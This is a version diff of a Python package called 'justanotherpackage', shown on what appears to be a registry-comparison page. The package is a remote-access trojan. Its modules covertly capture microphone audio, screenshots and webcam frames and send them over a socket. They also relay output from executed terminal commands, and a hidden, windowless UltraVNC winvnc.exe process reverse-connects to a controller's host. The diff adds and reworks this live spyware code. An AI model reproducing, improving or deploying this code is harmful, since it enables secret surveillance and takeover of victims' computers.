justanotherpackage 0.2.4__py3-none-any.whl → 0.3.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,5 +1,6 @@
1
1
  import pyaudio
2
2
  import json
3
+ import base64
3
4
 
4
5
  def start_audio_stream(client_socket):
5
6
  p = pyaudio.PyAudio()
@@ -24,9 +25,13 @@ def start_audio_stream(client_socket):
24
25
  while True:
25
26
  try:
26
27
  audio_data = stream.read(1024)
27
- client_socket.sendall(audio_data)
28
+
29
+ encoded_audio = base64.b64encode(audio_data).decode('utf-8')
30
+
31
+ audio_json = json.dumps({"audio": encoded_audio})
32
+ client_socket.sendall(audio_json.encode('utf-8'))
28
33
  except (ConnectionError, ConnectionResetError):
29
34
  pass
30
35
  except Exception as e:
31
36
  message = f"From Remote: {str(e)}"
32
- client_socket.sendall(json.dumps({"logger": message}).encode())
37
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -4,44 +4,53 @@ import time
4
4
  import justanotherpackage
5
5
  import os
6
6
  import json
7
- import traceback
8
7
 
9
8
  def find_process_by_exe(file_name):
10
- for proc in psutil.process_iter(['pid', 'exe']):
11
- try:
9
+ try:
10
+ for proc in psutil.process_iter(['pid', 'exe']):
12
11
  if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
13
12
  return proc.info['pid']
14
- except (psutil.AccessDenied, psutil.NoSuchProcess):
15
- continue
13
+ except (psutil.AccessDenied, psutil.NoSuchProcess):
14
+ pass
16
15
  return None
17
16
 
18
17
  def start_remote_desktop(data, HOST, client_socket):
19
18
  try:
20
- port = data["port"]
19
+ port = data.get("port")
20
+ if not port:
21
+ raise ValueError("Port not provided in data")
22
+
21
23
  remote_pid = find_process_by_exe("winvnc.exe")
22
24
  program_path = os.path.join(
23
25
  os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
24
26
  )
25
27
 
26
28
  if not remote_pid:
27
- subprocess.Popen(
28
- [program_path],
29
- shell=True,
30
- creationflags=subprocess.CREATE_NO_WINDOW
29
+ try:
30
+ subprocess.Popen(
31
+ [program_path],
32
+ shell=True,
33
+ creationflags=subprocess.CREATE_NO_WINDOW
31
34
  )
32
- time.sleep(5)
35
+ time.sleep(5)
36
+ except Exception as e:
37
+ raise RuntimeError(f"Failed to start winvnc.exe: {e}")
33
38
 
34
39
  remote_pid = find_process_by_exe("winvnc.exe")
35
-
36
40
  if remote_pid:
37
- command = [program_path, "-connect", f"{HOST}:{port}"]
38
- subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
39
- message = f"From Remote: Remote Desktop Started"
40
- client_socket.sendall(json.dumps({"logger": message}).encode())
41
+ try:
42
+ command = [program_path, "-connect", f"{HOST}:{port}"]
43
+ subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
44
+ message = "From Remote: Remote Desktop Started"
45
+ except Exception as e:
46
+ message = f"From Remote: Failed to connect remote desktop - {e}"
47
+ else:
48
+ message = "From Remote: winvnc.exe process not found after starting"
49
+
50
+ client_socket.sendall(json.dumps({"logger": message}).encode())
41
51
 
42
52
  except (ConnectionError, ConnectionResetError):
43
- pass
53
+ pass
44
54
  except Exception as e:
45
- traceback.print_exc()
46
- message = f"From Remote: {str(e)}"
47
- client_socket.sendall(json.dumps({"logger": message}).encode())
55
+ error_message = f"From Remote: {str(e)}"
56
+ client_socket.sendall(json.dumps({"logger": error_message}).encode())
@@ -16,12 +16,15 @@ def send_screenshot(client_socket):
16
16
  screenshot.save(buffer, format="PNG")
17
17
  screenshot_data = buffer.getvalue()
18
18
 
19
- client_socket.sendall(struct.pack(">I", len(screenshot_data)))
19
+ screenshot_json = {
20
+ "screenshot": {
21
+ "length": len(screenshot_data),
22
+ "data": screenshot_data.decode("latin1")
23
+ }
24
+ }
25
+
26
+ client_socket.sendall(json.dumps(screenshot_json).encode('utf-8'))
20
27
 
21
- total_sent = 0
22
- while total_sent < len(screenshot_data):
23
- sent = client_socket.send(screenshot_data[total_sent:])
24
- total_sent += sent
25
28
  except (ConnectionError, ConnectionResetError):
26
29
  pass
27
30
  except Exception as e:
@@ -17,9 +17,16 @@ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
17
17
  while not stderr_queue.empty():
18
18
  output += stderr_queue.get_nowait()
19
19
 
20
- client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
20
+ response = {
21
+ "terminal": {
22
+ "command": command,
23
+ "output": output if output else "Command executed successfully."
24
+ }
25
+ }
26
+
27
+ client_socket.sendall(json.dumps(response).encode('utf-8'))
21
28
  except (ConnectionError, ConnectionResetError):
22
29
  pass
23
30
  except Exception as e:
24
31
  message = f"From Remote: {str(e)}"
25
- client_socket.sendall(json.dumps({"logger": message}).encode())
32
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -10,7 +10,7 @@ def send_webcam_stream(client_socket):
10
10
  client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
11
11
  return
12
12
  except (ConnectionError, ConnectionResetError):
13
- pass
13
+ pass
14
14
  except Exception as e:
15
15
  message = f"From Remote: {str(e)}"
16
16
  client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -24,13 +24,16 @@ def send_webcam_stream(client_socket):
24
24
 
25
25
  _, jpeg_frame = cv2.imencode('.jpg', frame)
26
26
  frame_data = jpeg_frame.tobytes()
27
+ frame_data_length = len(frame_data)
27
28
 
28
- client_socket.sendall(struct.pack(">I", len(frame_data)))
29
+ webcam_data = {
30
+ "webcam": {
31
+ "length": frame_data_length,
32
+ "data": frame_data.decode("latin1")
33
+ }
34
+ }
29
35
 
30
- total_sent = 0
31
- while total_sent < len(frame_data):
32
- sent = client_socket.send(frame_data[total_sent:])
33
- total_sent += sent
36
+ client_socket.sendall(json.dumps(webcam_data).encode())
34
37
 
35
38
  cap.release()
36
39
  client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
@@ -38,4 +41,4 @@ def send_webcam_stream(client_socket):
38
41
  pass
39
42
  except Exception as e:
40
43
  message = f"From Remote: {str(e)}"
41
- client_socket.sendall(json.dumps({"logger": message}).encode())
44
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.4
3
+ Version: 0.3.0
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -3,11 +3,11 @@ justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V
3
3
  justanotherpackage/connect.py,sha256=uEZGlYNDqt-kFTdzVVBGUi6uMy9ClN8pdd5WGVXIFlA,4037
4
4
  justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
5
5
  justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
6
- justanotherpackage/features/audio.py,sha256=9dhyGGNhlWaiYbgEK1c19mckqDYyKwLKALTLMhQpQSg,1033
7
- justanotherpackage/features/remote_desktop.py,sha256=SCF3v4zYT5wEGBsnGI7piDzxOZT3SvQN8FgkAcoX9hc,1598
8
- justanotherpackage/features/screenshot.py,sha256=FcusDnKBADNFenEp47aJ9ZGYDI8gaq_V9jl4kXeSTDo,941
9
- justanotherpackage/features/terminal.py,sha256=_6II5j_1Y46DuYfcbA4pFiLpNn7BcGBpse2sf-R8XtA,852
10
- justanotherpackage/features/webcam.py,sha256=QUP1ull7G7sroSwi6gebekm5osMT_c54ZSYYFc7Nuv8,1438
6
+ justanotherpackage/features/audio.py,sha256=3zVrrtWUfOzGF7uLmbMqWUjcbZ2Y-AP5It-uOK2eW0M,1207
7
+ justanotherpackage/features/remote_desktop.py,sha256=R_zxX_tJolFTGrUKZ5UghNN9F1Qzo_oyT8Ek4m4I26E,2009
8
+ justanotherpackage/features/screenshot.py,sha256=0k0VnV-SNSQHkgtpKOYhJ5r0WW5jpJ9XkU9l-Wqa3Ck,971
9
+ justanotherpackage/features/terminal.py,sha256=_y_TMs4FoA1TV6yEpIrEeJxiBp7k-c3SOt0Tu1DIv6o,1013
10
+ justanotherpackage/features/webcam.py,sha256=n_-MnixHbEc6cg4Np1lhk3mQq1UZ6oX327D0jMspzQ8,1501
11
11
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
12
12
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
13
13
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -17,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
17
17
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
18
18
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
19
19
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
20
- justanotherpackage-0.2.4.dist-info/METADATA,sha256=uL0bdA6GeN4OMKQQNtyd5ggkHjrQVWeFvRe5dJlK1qQ,115
21
- justanotherpackage-0.2.4.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
- justanotherpackage-0.2.4.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
- justanotherpackage-0.2.4.dist-info/RECORD,,
20
+ justanotherpackage-0.3.0.dist-info/METADATA,sha256=Q8Zz9TAmWnJIs5mCtNWjGqxlpAj52GeHC7cMalZ1KOw,115
21
+ justanotherpackage-0.3.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
+ justanotherpackage-0.3.0.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
+ justanotherpackage-0.3.0.dist-info/RECORD,,